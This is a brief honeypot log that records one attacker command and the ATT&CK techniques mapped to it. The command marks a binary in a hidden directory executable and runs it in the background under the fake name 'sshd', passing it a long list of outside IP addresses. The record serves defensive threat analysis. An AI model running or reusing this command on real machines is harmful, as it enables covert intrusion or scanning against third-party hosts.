Honeypot attack session (period 2024), commands issued:
chmod +x ./.4581811643121507739/sshd;nohup ./.4581811643121507739/sshd 192.3.153.202 85.133.151.219 193.226.50.6 183.131.22.164 115.239.139.150 107.172.84.105 180.100.197.151 188.120.226.6 181.113.114.115 112.4.238.226 101.89.177.169 140.246.77.210 121.165.98.215 188.92.28.249 37.60.241.18 117.161.233.102 23.94.136.106 193.169.244.205 62.72.1.151 23.90.23.234 192.227.225.115 138.197.137.19 113.125.127.139 183.134.74.142 36.99.168.63 79.120.74.12 202.5.16.82 158.51.96.38 180.97.220.14 107.158.225.94 178.128.87.31 183.221.214.95 115.239.255.13 208.65.84.84 222.77.96.52 152.89.170.245 58.220.21.32 172.245.79.216 208.65.84.165 111.180.193.157 168.90.18.21 154.126.176.254 103.73.144.113 117.50.187.194 111.67.195.36 157.148.122.65 42.248.77.106 58.223.177.13 57.129.16.149 222.186.10.214 37.60.248.172 &

MITRE ATT&CK techniques observed:
T1222 File and Directory Permissions Modification
T1564 Hide Artifacts
T1059 Command and Scripting Interpreter